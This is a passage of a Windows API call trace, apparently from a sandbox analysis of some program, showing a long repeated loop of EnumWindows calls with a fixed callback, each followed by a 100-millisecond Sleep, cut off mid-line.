[0142.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.766] Sleep (dwMilliseconds=0x64) [0142.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.768] Sleep (dwMilliseconds=0x64) [0142.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.770] Sleep (dwMilliseconds=0x64) [0142.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.771] Sleep (dwMilliseconds=0x64) [0142.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.773] Sleep (dwMilliseconds=0x64) [0142.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.775] Sleep (dwMilliseconds=0x64) [0142.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.777] Sleep (dwMilliseconds=0x64) [0142.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.779] Sleep (dwMilliseconds=0x64) [0142.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.781] Sleep (dwMilliseconds=0x64) [0142.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.783] Sleep (dwMilliseconds=0x64) [0142.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.785] Sleep (dwMilliseconds=0x64) [0142.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.787] Sleep (dwMilliseconds=0x64) [0142.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.789] Sleep (dwMilliseconds=0x64) [0142.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.790] Sleep (dwMilliseconds=0x64) [0142.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.792] Sleep (dwMilliseconds=0x64) [0142.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.794] Sleep (dwMilliseconds=0x64) [0142.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.795] Sleep (dwMilliseconds=0x64) [0142.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.853] Sleep (dwMilliseconds=0x64) [0142.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.855] Sleep (dwMilliseconds=0x64) [0142.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.857] Sleep (dwMilliseconds=0x64) [0142.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.858] Sleep (dwMilliseconds=0x64) [0142.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.860] Sleep (dwMilliseconds=0x64) [0142.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.862] Sleep (dwMilliseconds=0x64) [0142.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.864] Sleep (dwMilliseconds=0x64) [0142.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.866] Sleep (dwMilliseconds=0x64) [0142.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.868] Sleep (dwMilliseconds=0x64) [0142.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.870] Sleep (dwMilliseconds=0x64) [0142.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.871] Sleep (dwMilliseconds=0x64) [0142.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.873] Sleep (dwMilliseconds=0x64) [0142.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.876] Sleep (dwMilliseconds=0x64) [0142.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.878] Sleep (dwMilliseconds=0x64) [0142.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.880] Sleep (dwMilliseconds=0x64) [0142.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.882] Sleep (dwMilliseconds=0x64) [0142.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.883] Sleep (dwMilliseconds=0x64) [0142.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.886] Sleep (dwMilliseconds=0x64) [0142.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.888] Sleep (dwMilliseconds=0x64) [0142.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.896] Sleep (dwMilliseconds=0x64) [0142.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.898] Sleep (dwMilliseconds=0x64) [0142.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.975] Sleep (dwMilliseconds=0x64) [0142.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0142.999] Sleep (dwMilliseconds=0x64) [0143.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.001] Sleep (dwMilliseconds=0x64) [0143.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.003] Sleep (dwMilliseconds=0x64) [0143.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.126] Sleep (dwMilliseconds=0x64) [0143.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.267] Sleep (dwMilliseconds=0x64) [0143.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.269] Sleep (dwMilliseconds=0x64) [0143.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.271] Sleep (dwMilliseconds=0x64) [0143.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.274] Sleep (dwMilliseconds=0x64) [0143.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.276] Sleep (dwMilliseconds=0x64) [0143.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.277] Sleep (dwMilliseconds=0x64) [0143.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.279] Sleep (dwMilliseconds=0x64) [0143.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.281] Sleep (dwMilliseconds=0x64) [0143.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.282] Sleep (dwMilliseconds=0x64) [0143.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.285] Sleep (dwMilliseconds=0x64) [0143.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.286] Sleep (dwMilliseconds=0x64) [0143.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.288] Sleep (dwMilliseconds=0x64) [0143.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.289] Sleep (dwMilliseconds=0x64) [0143.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.291] Sleep (dwMilliseconds=0x64) [0143.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.292] Sleep (dwMilliseconds=0x64) [0143.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.294] Sleep (dwMilliseconds=0x64) [0143.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.296] Sleep (dwMilliseconds=0x64) [0143.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.297] Sleep (dwMilliseconds=0x64) [0143.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.299] Sleep (dwMilliseconds=0x64) [0143.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.300] Sleep (dwMilliseconds=0x64) [0143.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.302] Sleep (dwMilliseconds=0x64) [0143.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.306] Sleep (dwMilliseconds=0x64) [0143.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.335] Sleep (dwMilliseconds=0x64) [0143.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.337] Sleep (dwMilliseconds=0x64) [0143.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.341] Sleep (dwMilliseconds=0x64) [0143.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.344] Sleep (dwMilliseconds=0x64) [0143.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.345] Sleep (dwMilliseconds=0x64) [0143.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.347] Sleep (dwMilliseconds=0x64) [0143.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.348] Sleep (dwMilliseconds=0x64) [0143.350] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.350] Sleep (dwMilliseconds=0x64) [0143.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.351] Sleep (dwMilliseconds=0x64) [0143.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.353] Sleep (dwMilliseconds=0x64) [0143.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.355] Sleep (dwMilliseconds=0x64) [0143.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.356] Sleep (dwMilliseconds=0x64) [0143.358] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.359] Sleep (dwMilliseconds=0x64) [0143.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.361] Sleep (dwMilliseconds=0x64) [0143.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.362] Sleep (dwMilliseconds=0x64) [0143.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.364] Sleep (dwMilliseconds=0x64) [0143.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.365] Sleep (dwMilliseconds=0x64) [0143.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.430] Sleep (dwMilliseconds=0x64) [0143.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.432] Sleep (dwMilliseconds=0x64) [0143.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.434] Sleep (dwMilliseconds=0x64) [0143.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.436] Sleep (dwMilliseconds=0x64) [0143.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.437] Sleep (dwMilliseconds=0x64) [0143.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.438] Sleep (dwMilliseconds=0x64) [0143.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.440] Sleep (dwMilliseconds=0x64) [0143.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.442] Sleep (dwMilliseconds=0x64) [0143.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.444] Sleep (dwMilliseconds=0x64) [0143.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.445] Sleep (dwMilliseconds=0x64) [0143.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.446] Sleep (dwMilliseconds=0x64) [0143.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.449] Sleep (dwMilliseconds=0x64) [0143.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.453] Sleep (dwMilliseconds=0x64) [0143.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.455] Sleep (dwMilliseconds=0x64) [0143.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.457] Sleep (dwMilliseconds=0x64) [0143.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.459] Sleep (dwMilliseconds=0x64) [0143.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.461] Sleep (dwMilliseconds=0x64) [0143.462] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.463] Sleep (dwMilliseconds=0x64) [0143.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.464] Sleep (dwMilliseconds=0x64) [0143.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.466] Sleep (dwMilliseconds=0x64) [0143.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.478] Sleep (dwMilliseconds=0x64) [0143.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.480] Sleep (dwMilliseconds=0x64) [0143.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.483] Sleep (dwMilliseconds=0x64) [0143.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.485] Sleep (dwMilliseconds=0x64) [0143.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.487] Sleep (dwMilliseconds=0x64) [0143.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.492] Sleep (dwMilliseconds=0x64) [0143.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.494] Sleep (dwMilliseconds=0x64) [0143.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.495] Sleep (dwMilliseconds=0x64) [0143.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.497] Sleep (dwMilliseconds=0x64) [0143.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.498] Sleep (dwMilliseconds=0x64) [0143.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.500] Sleep (dwMilliseconds=0x64) [0143.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.501] Sleep (dwMilliseconds=0x64) [0143.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.502] Sleep (dwMilliseconds=0x64) [0143.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.626] Sleep (dwMilliseconds=0x64) [0143.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.677] Sleep (dwMilliseconds=0x64) [0143.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.685] Sleep (dwMilliseconds=0x64) [0143.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.687] Sleep (dwMilliseconds=0x64) [0143.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.688] Sleep (dwMilliseconds=0x64) [0143.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.691] Sleep (dwMilliseconds=0x64) [0143.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.693] Sleep (dwMilliseconds=0x64) [0143.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.695] Sleep (dwMilliseconds=0x64) [0143.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.697] Sleep (dwMilliseconds=0x64) [0143.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.699] Sleep (dwMilliseconds=0x64) [0143.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.700] Sleep (dwMilliseconds=0x64) [0143.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.702] Sleep (dwMilliseconds=0x64) [0143.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.704] Sleep (dwMilliseconds=0x64) [0143.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.706] Sleep (dwMilliseconds=0x64) [0143.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.728] Sleep (dwMilliseconds=0x64) [0143.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.730] Sleep (dwMilliseconds=0x64) [0143.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.732] Sleep (dwMilliseconds=0x64) [0143.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.735] Sleep (dwMilliseconds=0x64) [0143.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.737] Sleep (dwMilliseconds=0x64) [0143.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.738] Sleep (dwMilliseconds=0x64) [0143.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.741] Sleep (dwMilliseconds=0x64) [0143.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.742] Sleep (dwMilliseconds=0x64) [0143.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.744] Sleep (dwMilliseconds=0x64) [0143.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.746] Sleep (dwMilliseconds=0x64) [0143.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.749] Sleep (dwMilliseconds=0x64) [0143.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.751] Sleep (dwMilliseconds=0x64) [0143.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.752] Sleep (dwMilliseconds=0x64) [0143.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.754] Sleep (dwMilliseconds=0x64) [0143.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.757] Sleep (dwMilliseconds=0x64) [0143.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.759] Sleep (dwMilliseconds=0x64) [0143.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.761] Sleep (dwMilliseconds=0x64) [0143.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.762] Sleep (dwMilliseconds=0x64) [0143.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.764] Sleep (dwMilliseconds=0x64) [0143.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.766] Sleep (dwMilliseconds=0x64) [0143.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.768] Sleep (dwMilliseconds=0x64) [0143.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.770] Sleep (dwMilliseconds=0x64) [0143.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.771] Sleep (dwMilliseconds=0x64) [0143.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.773] Sleep (dwMilliseconds=0x64) [0143.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.775] Sleep (dwMilliseconds=0x64) [0143.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.777] Sleep (dwMilliseconds=0x64) [0143.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.779] Sleep (dwMilliseconds=0x64) [0143.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.781] Sleep (dwMilliseconds=0x64) [0143.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.782] Sleep (dwMilliseconds=0x64) [0143.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.784] Sleep (dwMilliseconds=0x64) [0143.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.786] Sleep (dwMilliseconds=0x64) [0143.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.788] Sleep (dwMilliseconds=0x64) [0143.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.790] Sleep (dwMilliseconds=0x64) [0143.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.792] Sleep (dwMilliseconds=0x64) [0143.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.793] Sleep (dwMilliseconds=0x64) [0143.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.795] Sleep (dwMilliseconds=0x64) [0143.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.797] Sleep (dwMilliseconds=0x64) [0143.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.799] Sleep (dwMilliseconds=0x64) [0143.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.800] Sleep (dwMilliseconds=0x64) [0143.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.802] Sleep (dwMilliseconds=0x64) [0143.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.803] Sleep (dwMilliseconds=0x64) [0143.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.805] Sleep (dwMilliseconds=0x64) [0143.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.806] Sleep (dwMilliseconds=0x64) [0143.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.808] Sleep (dwMilliseconds=0x64) [0143.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.810] Sleep (dwMilliseconds=0x64) [0143.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.812] Sleep (dwMilliseconds=0x64) [0143.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.813] Sleep (dwMilliseconds=0x64) [0143.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.815] Sleep (dwMilliseconds=0x64) [0143.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.816] Sleep (dwMilliseconds=0x64) [0143.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.818] Sleep (dwMilliseconds=0x64) [0143.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.819] Sleep (dwMilliseconds=0x64) [0143.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.821] Sleep (dwMilliseconds=0x64) [0143.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.822] Sleep (dwMilliseconds=0x64) [0143.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.824] Sleep (dwMilliseconds=0x64) [0143.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.826] Sleep (dwMilliseconds=0x64) [0143.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.828] Sleep (dwMilliseconds=0x64) [0143.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.899] Sleep (dwMilliseconds=0x64) [0143.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0143.999] Sleep (dwMilliseconds=0x64) [0144.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.193] Sleep (dwMilliseconds=0x64) [0144.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.195] Sleep (dwMilliseconds=0x64) [0144.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.197] Sleep (dwMilliseconds=0x64) [0144.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.198] Sleep (dwMilliseconds=0x64) [0144.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.218] Sleep (dwMilliseconds=0x64) [0144.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.219] Sleep (dwMilliseconds=0x64) [0144.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.257] Sleep (dwMilliseconds=0x64) [0144.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.260] Sleep (dwMilliseconds=0x64) [0144.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.262] Sleep (dwMilliseconds=0x64) [0144.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.264] Sleep (dwMilliseconds=0x64) [0144.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.267] Sleep (dwMilliseconds=0x64) [0144.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.269] Sleep (dwMilliseconds=0x64) [0144.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.271] Sleep (dwMilliseconds=0x64) [0144.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.273] Sleep (dwMilliseconds=0x64) [0144.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.276] Sleep (dwMilliseconds=0x64) [0144.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.278] Sleep (dwMilliseconds=0x64) [0144.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.281] Sleep (dwMilliseconds=0x64) [0144.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.599] Sleep (dwMilliseconds=0x64) [0144.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.601] Sleep (dwMilliseconds=0x64) [0144.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.602] Sleep (dwMilliseconds=0x64) [0144.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.604] Sleep (dwMilliseconds=0x64) [0144.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.605] Sleep (dwMilliseconds=0x64) [0144.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.607] Sleep (dwMilliseconds=0x64) [0144.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.608] Sleep (dwMilliseconds=0x64) [0144.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.610] Sleep (dwMilliseconds=0x64) [0144.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.611] Sleep (dwMilliseconds=0x64) [0144.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.614] Sleep (dwMilliseconds=0x64) [0144.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.617] Sleep (dwMilliseconds=0x64) [0144.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.620] Sleep (dwMilliseconds=0x64) [0144.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.622] Sleep (dwMilliseconds=0x64) [0144.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.623] Sleep (dwMilliseconds=0x64) [0144.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.627] Sleep (dwMilliseconds=0x64) [0144.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.628] Sleep (dwMilliseconds=0x64) [0144.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.630] Sleep (dwMilliseconds=0x64) [0144.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.632] Sleep (dwMilliseconds=0x64) [0144.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.634] Sleep (dwMilliseconds=0x64) [0144.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.636] Sleep (dwMilliseconds=0x64) [0144.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.638] Sleep (dwMilliseconds=0x64) [0144.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.640] Sleep (dwMilliseconds=0x64) [0144.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.642] Sleep (dwMilliseconds=0x64) [0144.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.644] Sleep (dwMilliseconds=0x64) [0144.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.646] Sleep (dwMilliseconds=0x64) [0144.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.647] Sleep (dwMilliseconds=0x64) [0144.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.649] Sleep (dwMilliseconds=0x64) [0144.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.651] Sleep (dwMilliseconds=0x64) [0144.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.654] Sleep (dwMilliseconds=0x64) [0144.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.656] Sleep (dwMilliseconds=0x64) [0144.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.657] Sleep (dwMilliseconds=0x64) [0144.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.659] Sleep (dwMilliseconds=0x64) [0144.660] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.661] Sleep (dwMilliseconds=0x64) [0144.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.662] Sleep (dwMilliseconds=0x64) [0144.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.663] Sleep (dwMilliseconds=0x64) [0144.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.665] Sleep (dwMilliseconds=0x64) [0144.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0144.666] Sleep (dwMilliseconds=0x64) [0144.668] EnumWindows 